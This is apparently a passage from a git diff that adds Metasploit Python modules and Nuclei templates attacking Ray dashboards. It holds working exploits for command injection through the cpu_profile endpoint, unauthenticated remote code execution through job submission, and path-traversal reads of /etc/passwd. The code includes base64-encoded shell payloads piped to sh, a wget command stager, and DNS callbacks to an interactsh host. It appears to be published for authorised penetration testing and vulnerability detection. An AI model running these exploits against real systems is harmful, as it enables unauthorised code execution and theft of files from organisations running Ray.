base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||
s = Session()
|
||||
|
||||
try:
|
||||
# We need to pass valid node info to /worker/cpu_profile for the server to process the request
|
||||
# First we list all nodes and grab the pid and ip of the first one (could be any)
|
||||
r = s.get(f"{base_url}/nodes?view=summary")
|
||||
r.raise_for_status()
|
||||
|
||||
nodes = r.json()
|
||||
|
||||
first_node = nodes['data']['summary'][0]
|
||||
pid = first_node['agent']['pid']
|
||||
ip = first_node['ip']
|
||||
|
||||
logging.info(f"Grabbed node info, pid: {pid}, ip: {ip}")
|
||||
|
||||
r = s.get(
|
||||
f"{base_url}/worker/cpu_profile",
|
||||
params={
|
||||
'pid': pid,
|
||||
'ip': ip,
|
||||
'duration': 5,
|
||||
'native': 0,
|
||||
'format': f"`{args['command']}`"
|
||||
}
|
||||
)
|
||||
|
||||
except requests.exceptions.HTTPError as e:
|
||||
logging.debug(f"{r.status_code} - body length: {len(r.text)}")
|
||||
logging.debug(r.text)
|
||||
logging.error(str(e))
|
||||
return
|
||||
|
||||
logging.info(f"Command execution seems to have been successful. Status code: {r.status_code}")
|
||||
logging.debug(r.text)
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
|
@ -0,0 +1,110 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||
|
||||
# standard modules
|
||||
import logging
|
||||
from metasploit import module
|
||||
|
||||
# extra modules
|
||||
dependencies_missing = False
|
||||
try:
|
||||
import requests
|
||||
from requests import Session
|
||||
except ImportError:
|
||||
dependencies_missing = True
|
||||
|
||||
|
||||
metadata = {
|
||||
'name': 'Ray Agent Job RCE',
|
||||
'description': '''
|
||||
RCE in Ray via the agent job submission endpoint. This is intended functionality as Ray's main purpose is executing arbitrary workloads.
|
||||
By default Ray has no authentication.
|
||||
''',
|
||||
'authors': [
|
||||
'sierrabearchell',
|
||||
'byt3bl33d3r <marcello@protectai.com>'
|
||||
],
|
||||
|
||||
'rank': 'excellent',
|
||||
'date': '2023-11-15',
|
||||
'license': 'MSF_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'},
|
||||
{'type': 'url', 'ref': 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/'}
|
||||
],
|
||||
'type': 'remote_exploit_cmd_stager',
|
||||
'targets': [
|
||||
{'platform': 'linux', 'arch': 'x64'},
|
||||
{'platform': 'linux', 'arch': 'x86'},
|
||||
{'platform': 'linux', 'arch': 'aarch64'}
|
||||
],
|
||||
'payload': {
|
||||
'command_stager_flavor': 'wget'
|
||||
},
|
||||
'options': {
|
||||
'command': {'type': 'string', 'description': 'The command to execute', 'required': True, 'default': 'echo "Hello from Metasploit"'},
|
||||
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 8265},
|
||||
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
||||
}
|
||||
}
|
||||
|
||||
def convert_args_to_correct_type(args):
|
||||
'''
|
||||
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
||||
|
||||
When a module is run using msfconsole, the module args are all passed as strings
|
||||
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
|
||||
'''
|
||||
|
||||
corrected_args = {}
|
||||
|
||||
for k,v in args.items():
|
||||
option_to_convert = metadata['options'].get(k)
|
||||
if option_to_convert:
|
||||
type_to_convert = metadata['options'][k]['type']
|
||||
if type_to_convert == 'bool':
|
||||
if isinstance(v, str):
|
||||
if v.lower() == 'false':
|
||||
corrected_args[k] = False
|
||||
elif v.lower() == 'true':
|
||||
corrected_args[k] = True
|
||||
|
||||
if type_to_convert == 'port':
|
||||
corrected_args[k] = int(v)
|
||||
|
||||
return {**args, **corrected_args}
|
||||
|
||||
def run(args):
|
||||
args = convert_args_to_correct_type(args)
|
||||
|
||||
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||
|
||||
logging.debug(args)
|
||||
if dependencies_missing:
|
||||
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||
return
|
||||
|
||||
try:
|
||||
base_url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}"
|
||||
s = Session()
|
||||
|
||||
try:
|
||||
r = s.post(f"{base_url}/api/jobs/", json={"entrypoint": args["command"]})
|
||||
r.raise_for_status()
|
||||
except requests.exceptions.HTTPError:
|
||||
r = s.post(f"{base_url}/api/job_agent/jobs/", json={"entrypoint": args["command"]})
|
||||
r.raise_for_status()
|
||||
|
||||
except requests.exceptions.HTTPError as e:
|
||||
logging.debug(f"{r.status_code} - body length: {len(r.text)}")
|
||||
logging.error(str(e))
|
||||
return
|
||||
|
||||
job_data = r.json()
|
||||
logging.info(f"Command execution successful. Job ID: '{job_data['job_id']}' Submission ID: '{job_data['submission_id']}'")
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
|
@ -0,0 +1,100 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# https://docs.metasploit.com/docs/development/developing-modules/external-modules/writing-external-python-modules.html
|
||||
|
||||
# standard modules
|
||||
import logging
|
||||
|
||||
# extra modules
|
||||
dependencies_missing = False
|
||||
try:
|
||||
import requests
|
||||
from requests import Request, Session
|
||||
except ImportError:
|
||||
dependencies_missing = True
|
||||
|
||||
from metasploit import module
|
||||
|
||||
|
||||
metadata = {
|
||||
'name': 'Ray static arbitrary file read',
|
||||
'description': '''
|
||||
Ray before 2.6.1 is vulnerable to a local file inclusion.
|
||||
''',
|
||||
'authors': [
|
||||
'byt3bl33d3r <marcello@protectai.com>',
|
||||
'danmcinerney <dan@protectai.com>'
|
||||
],
|
||||
|
||||
'rank': 'excellent',
|
||||
'date': '2023-11-15',
|
||||
'license': 'MSF_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/'},
|
||||
{'type': 'cve', 'ref': 'CVE-2023-6020'}
|
||||
],
|
||||
'type': 'single_scanner',
|
||||
'options': {
|
||||
'filepath': {'type': 'string', 'description': 'File to read', 'required': True, 'default': '/etc/passwd'},
|
||||
'rhost': {'type': 'address', 'description': 'Target address', 'required': True, 'default': None},
|
||||
'rport': {'type': 'port', 'description': 'Target port (TCP)', 'required': True, 'default': 8265},
|
||||
'ssl': {'type': 'bool', 'description': 'Negotiate SSL/TLS for outgoing connections', 'required': True, 'default': False}
|
||||
}
|
||||
}
|
||||
|
||||
def convert_args_to_correct_type(args):
|
||||
'''
|
||||
Utility function to correctly "cast" the modules options to their correct types according to the options.
|
||||
|
||||
When a module is run using msfconsole, the module args are all passed as strings
|
||||
so we need to convert them manually. I'd use pydantic but want to avoid extra deps.
|
||||
'''
|
||||
|
||||
corrected_args = {}
|
||||
|
||||
for k,v in args.items():
|
||||
option_to_convert = metadata['options'].get(k)
|
||||
if option_to_convert:
|
||||
type_to_convert = metadata['options'][k]['type']
|
||||
if type_to_convert == 'bool':
|
||||
if isinstance(v, str):
|
||||
if v.lower() == 'false':
|
||||
corrected_args[k] = False
|
||||
elif v.lower() == 'true':
|
||||
corrected_args[k] = True
|
||||
|
||||
if type_to_convert == 'port':
|
||||
corrected_args[k] = int(v)
|
||||
|
||||
return {**args, **corrected_args}
|
||||
|
||||
def run(args):
|
||||
args = convert_args_to_correct_type(args)
|
||||
|
||||
module.LogHandler.setup(msg_prefix=f"{args['rhost']} - ")
|
||||
logging.debug(args)
|
||||
if dependencies_missing:
|
||||
logging.error('Module dependency (requests) is missing, cannot continue')
|
||||
return
|
||||
|
||||
try:
|
||||
url = f"{'https' if args['ssl'] else 'http'}://{args['rhost']}:{args['rport']}/static/js/../../../../../../../../../../../../../..{args['filepath']}"
|
||||
logging.debug(url)
|
||||
|
||||
# We need to use a prepared request otherwise the requests library will try normalizing the URL
|
||||
s = Session()
|
||||
req = Request('GET', url)
|
||||
prepped = s.prepare_request(req)
|
||||
prepped.url = url
|
||||
resp = s.send(prepped)
|
||||
|
||||
logging.debug(f"{resp.status_code} - {len(resp.text)}")
|
||||
except requests.exceptions.RequestException as e:
|
||||
logging.error(str(e))
|
||||
return
|
||||
|
||||
logging.info(resp.text)
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
|
@ -0,0 +1,44 @@
|
|||
id: ray-cpuprofile-cmd-injection
|
||||
|
||||
info:
|
||||
name: Ray cpu_profile command injection
|
||||
author: Sierra Bearchell (Vuln Discovery) byt3bl33d3r (Nuclei Template)
|
||||
severity: critical
|
||||
description: Ray command injection via the cpu_profile API endpoint allowing os command execution on the Ray dashboard host
|
||||
reference:
|
||||
- https://huntr.com/bounties/d0290f3c-b302-4161-89f2-c13bb28b4cfe/
|
||||
classification:
|
||||
cvss-score: 10
|
||||
cve-id: CVE-2023-6019
|
||||
cwe-id: CWE-78
|
||||
tags: ray,ml,cve,huntr,protectai
|
||||
|
||||
variables:
|
||||
python_payload: "python3 -c 'import socket;socket.gethostbyname(\"{{interactsh-url}}\")'"
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/nodes?view=summary"
|
||||
- "{{BaseURL}}/worker/cpu_profile?pid={{pid}}&ip={{node_ip}}&duration=5&native=0&format=%60echo%20{{base64(python_payload)}}|base64$IFS-d|sh%60"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms DNS Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
extractors:
|
||||
- type: json
|
||||
part: body
|
||||
internal: true
|
||||
name: pid
|
||||
json:
|
||||
- '..|objects|.pid//empty[0]'
|
||||
|
||||
- type: json
|
||||
part: body
|
||||
internal: true
|
||||
name: node_ip
|
||||
json:
|
||||
- '..|objects|.ip//empty[0]'
|
|
@ -0,0 +1,48 @@
|
|||
id: ray-job-rce
|
||||
|
||||
info:
|
||||
name: Ray RCE via Agent Jobs
|
||||
author: Sierra Bearchell (Vuln Discovery), byt3bl33d3r (Nuclei Template)
|
||||
severity: critical
|
||||
description: RCE in Ray via the agent job submission endpoint. This is intended functionality as Ray's main purpose is executing arbitrary workloads. By default Ray has no authentication.
|
||||
reference:
|
||||
- https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/
|
||||
- https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/
|
||||
tags: ray,ml,huntr,protectai
|
||||
|
||||
variables:
|
||||
python_payload: "python3 -c 'import socket;socket.gethostbyname(\"{{interactsh-url}}\")'"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
# Newer versions of the Ray API
|
||||
- |
|
||||
POST /api/jobs/ HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json
|
||||
|
||||
{"entrypoint": "echo {{base64(python_payload)}}|base64$IFS-d|sh"}
|
||||
|
||||
# Older versions of the Ray API
|
||||
- |
|
||||
POST /api/job_agent/jobs/ HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Content-Type: application/json
|
||||
|
||||
{"entrypoint": "echo {{base64(python_payload)}}|base64$IFS-d|sh"}
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: interactsh_protocol # Confirms dns Interaction
|
||||
words:
|
||||
- "dns"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
- type: word
|
||||
part: body
|
||||
words:
|
||||
- "job_id"
|
|
@ -0,0 +1,39 @@
|
|||
id: ray-log-lfi
|
||||
|
||||
info:
|
||||
name: Ray Log API file local file inclusion
|
||||
author: danmcinerney (Vuln Discovery), byt3bl33d3r (Nuclei Template)
|
||||
severity: high
|
||||
description: Ray is vulnerable to a local file include via it's logs API endpoint
|
||||
reference:
|
||||
- https://huntr.com/bounties/5039c045-f986-4cbc-81ac-370fe4b0d3f8/
|
||||
classification:
|
||||
cvss-score: 8.6
|
||||
cve-id: CVE-2023-6021
|
||||
cwe-id: CWE-29
|
||||
tags: ray,ml,cve,huntr,protectai
|
||||
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/nodes?view=summary"
|
||||
- "{{BaseURL}}/api/v0/logs/file?node_id={{nodeId}}&filename=../../../../../etc%2fpasswd&lines=50000"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:.*:0:0:"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
|
||||
extractors:
|
||||
- type: json
|
||||
part: body
|
||||
internal: true
|
||||
name: nodeId
|
||||
json:
|
||||
- '..|objects|.nodeId//empty[0]'
|
|
@ -0,0 +1,30 @@
|
|||
id: ray-static-lfi
|
||||
|
||||
info:
|
||||
name: Ray Static File Local File Inclusion
|
||||
author: danmcinerney (Vuln Discovery), byt3bl33d3r (Nuclei Template)
|
||||
severity: high
|
||||
description: Ray is vulnerable to a LFI when accessing static files
|
||||
reference:
|
||||
- https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/
|
||||
classification:
|
||||
cvss-score: 8.6
|
||||
cve-id: CVE-2023-6020
|
||||
cwe-id: CWE-29
|
||||
tags: ray,ml,cve,huntr,protectai
|
||||
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/static/js/../../../../../../../../../../../../../../etc/passwd"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:.*:0:0:"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue